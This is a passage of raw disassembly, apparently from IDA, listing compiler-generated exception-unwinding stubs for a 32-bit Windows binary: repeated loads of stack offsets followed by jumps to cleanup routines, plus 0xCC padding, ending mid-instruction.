lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DC20 proc near ; DATA XREF: sub_40DC20+2o mov eax, offset dword_4405D8 jmp sub_437AB8 SEH_40DC20 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A228: ; DATA XREF: ___:0044069Co lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E2F0 proc near ; DATA XREF: sub_40E2F0+2o mov eax, offset dword_440670 jmp sub_437AB8 SEH_40E2F0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A278: ; DATA XREF: ___:004406F4o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E870 proc near ; DATA XREF: sub_40E870+2o mov eax, offset dword_4406C8 jmp sub_437AB8 SEH_40E870 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A2C8: ; DATA XREF: ___:0044074Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40ED00 proc near ; DATA XREF: sub_40ED00+2o mov eax, offset dword_440720 jmp sub_437AB8 SEH_40ED00 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40EE40 proc near ; DATA XREF: sub_40EE40+2o mov eax, offset dword_440760 jmp sub_437AB8 SEH_40EE40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A318: ; DATA XREF: ___:004407BCo lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A348: ; DATA XREF: ___:0040F218o mov eax, offset dword_440790 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A378: ; DATA XREF: ___:0044081Co mov ecx, [ebp-28h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2DAh jmp sub_401B68 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40F6D0 proc near ; DATA XREF: sub_40F6D0+2o mov eax, offset dword_4407F0 jmp sub_437AB8 SEH_40F6D0 endp ; --------------------------------------------------------------------------- db 69h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A568: ; DATA XREF: ___:0044097Co mov ecx, [ebp-10h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40FE70 proc near ; DATA XREF: sub_40FE70+2o mov eax, offset dword_440950 jmp sub_437AB8 SEH_40FE70 endp ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-247Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A69B: ; DATA XREF: ___:00440A34o lea ecx, [ebp-210Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-207Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6B1: ; DATA XREF: ___:00440A44o lea ecx, [ebp-237Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6BC: ; DATA XREF: ___:00440A4Co lea ecx, [ebp-21CCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6C7: ; DATA XREF: ___:00440A54o lea ecx, [ebp-234Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6D2: ; DATA XREF: ___:00440A5Co lea ecx, [ebp-2064h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6DD: ; DATA XREF: ___:00440A64o lea ecx, [ebp-231Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6E8: ; DATA XREF: ___:00440A6Co lea ecx, [ebp-219Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6F3: ; DATA XREF: ___:00440A74o lea ecx, [ebp-20DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-22ECh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A709: ; DATA XREF: ___:00440A84o lea ecx, [ebp-22BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A714: ; DATA XREF: ___:00440A8Co lea ecx, [ebp-23DCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A71F: ; DATA XREF: ___:00440A94o lea ecx, [ebp-216Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A72A: ; DATA XREF: ___:00440A9Co lea ecx, [ebp-2424h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-23F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-228Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-225Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A799: ; DATA XREF: ___:00440AE4o lea ecx, [ebp-213Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7A4: ; DATA XREF: ___:00440AECo mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7B2: ; DATA XREF: ___:00440AF4o mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7C0: ; DATA XREF: ___:00440AFCo lea ecx, [ebp-21FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-222Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7E1: ; DATA XREF: ___:00440B14o lea ecx, [ebp-2394h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23ACh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7F7: ; DATA XREF: ___:00440B24o lea ecx, [ebp-2334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2364h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A80D: ; DATA XREF: ___:00440B34o lea ecx, [ebp-2304h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A818: ; DATA XREF: ___:00440B3Co lea ecx, [ebp-22D4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A823: ; DATA XREF: ___:00440B44o mov ecx, [ebp-2480h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A82E: ; DATA XREF: ___:00440B4Co lea ecx, [ebp-22A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A839: ; DATA XREF: ___:00440B54o lea ecx, [ebp-2244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A84F: ; DATA XREF: ___:00440B6Co lea ecx, [ebp-2214h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A85A: ; DATA XREF: ___:00440B7Co lea ecx, [ebp-21E4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A865: ; DATA XREF: ___:00440B84o lea ecx, [ebp-2184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21B4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A87B: ; DATA XREF: ___:00440B9Co lea ecx, [ebp-243Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-240Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A891: ; DATA XREF: ___:00440BB4o lea ecx, [ebp-2124h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2154h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8A7: ; DATA XREF: ___:00440BC4o lea ecx, [ebp-20F4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8B2: ; DATA XREF: ___:00440BCCo lea ecx, [ebp-2094h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2464h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8D3: ; DATA XREF: sub_410030+8o mov eax, offset dword_440A08 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 93h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411930 proc near ; DATA XREF: sub_411930+2o mov eax, offset dword_440C18 jmp sub_437AB8 SEH_411930 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4119E0 proc near ; DATA XREF: sub_4119E0+2o mov eax, offset dword_440C48 jmp sub_437AB8 SEH_4119E0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A9B8: ; DATA XREF: ___:00440CA4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411A60 proc near ; DATA XREF: sub_411A60+2o mov eax, offset dword_440C78 jmp sub_437AB8 SEH_411A60 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AA18: ; DATA XREF: ___:00440CFCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411B20 proc near ; DATA XREF: sub_411B20+2o mov eax, offset dword_440CD0 jmp sub_437AB8 SEH_411B20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411C10 proc near ; DATA XREF: sub_411C10+8o mov eax, offset dword_440D28 jmp sub_437AB8 SEH_411C10 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AAE8: ; DATA XREF: ___:00440DD4o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4120B0 proc near ; DATA XREF: sub_4120B0+8o mov eax, offset dword_440DA8 jmp sub_437AB8 SEH_4120B0 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_43AB90: ; DATA XREF: ___:00440E74o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-48h] and eax, 1 test eax, eax jz locret_43ABAE mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43ABAE: ; CODE XREF: ___:0043ABA0j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412780 proc near ; DATA XREF: sub_412780+2o mov eax, offset dword_440E48 jmp sub_437AB8 SEH_412780 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ABD8: ; DATA XREF: ___:00440EACo lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412A40 proc near ; DATA XREF: sub_412A40+8o mov eax, offset dword_440E80 jmp sub_437AB8 SEH_412A40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412CE0 proc near ; DATA XREF: sub_412CE0+2o mov eax, offset dword_440EB8 jmp sub_437AB8 SEH_412CE0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC18: ; DATA XREF: ___:00440F14o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC4E: ; DATA XREF: ___:00412D88o mov eax, offset dword_440EE8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AC7B: ; DATA XREF: ___:00440F74o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4131F0 proc near ; DATA XREF: sub_4131F0+2o mov eax, offset dword_440F48 jmp sub_437AB8 SEH_4131F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4132F0 proc near ; DATA XREF: sub_4132F0+2o mov eax, offset dword_440F90 jmp sub_437AB8 SEH_4132F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4133B0 proc near ; DATA XREF: sub_4133B0+2o mov eax, offset dword_440FD8 jmp sub_437AB8 SEH_4133B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4134A0 proc near ; DATA XREF: sub_4134A0+2o mov eax, offset dword_441010 jmp sub_437AB8 SEH_4134A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4135E0 proc near ; DATA XREF: sub_4135E0+2o mov eax, offset dword_441040 jmp sub_437AB8 SEH_4135E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401582 ; --------------------------------------------------------------------------- loc_43AD78: ; DATA XREF: ___:0044109Co lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413740 proc near ; DATA XREF: sub_413740+2o mov eax, offset dword_441070 jmp sub_437AB8 SEH_413740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AD98: ; DATA XREF: ___:004410D4o lea ecx, [ebp-0A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4138B0 proc near ; DATA XREF: sub_4138B0+2o mov eax, offset dword_4410A8 jmp sub_437AB8 SEH_4138B0 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ADD8: ; DATA XREF: ___:00441114o lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_401582 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413A80 proc near ; DATA XREF: sub_413A80+2o mov eax, offset dword_4410E8 jmp sub_437AB8 SEH_413A80 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE08: ; DATA XREF: ___:00413BB2o mov eax, offset dword_441128 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE28: ; DATA XREF: ___:00441184o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE30: ; DATA XREF: ___:0044118Co mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43AE3B: ; DATA XREF: ___:00441194o lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413C40 proc near ; DATA XREF: sub_413C40+2o mov eax, offset dword_441158 jmp sub_437AB8 SEH_413C40 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+64h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE68: ; DATA XREF: ___:004411CCo lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413E70 proc near ; DATA XREF: sub_413E70+2o mov eax, offset dword_4411A0 jmp sub_437AB8 SEH_413E70 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEBB: ; DATA XREF: ___:00441224o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414160 proc near ; DATA XREF: sub_414160+2o mov eax, offset dword_4411F8 jmp sub_437AB8 SEH_414160 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEF8: ; DATA XREF: ___:00441264o mov ecx, [ebp+14h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF10: ; DATA XREF: ___:004141F2o mov eax, offset dword_441238 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF38: ; DATA XREF: ___:004412ACo lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414300 proc near ; DATA XREF: sub_414300+2o mov eax, offset dword_441280 jmp sub_437AB8 SEH_414300 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF88: ; DATA XREF: ___:004412FCo mov ecx, 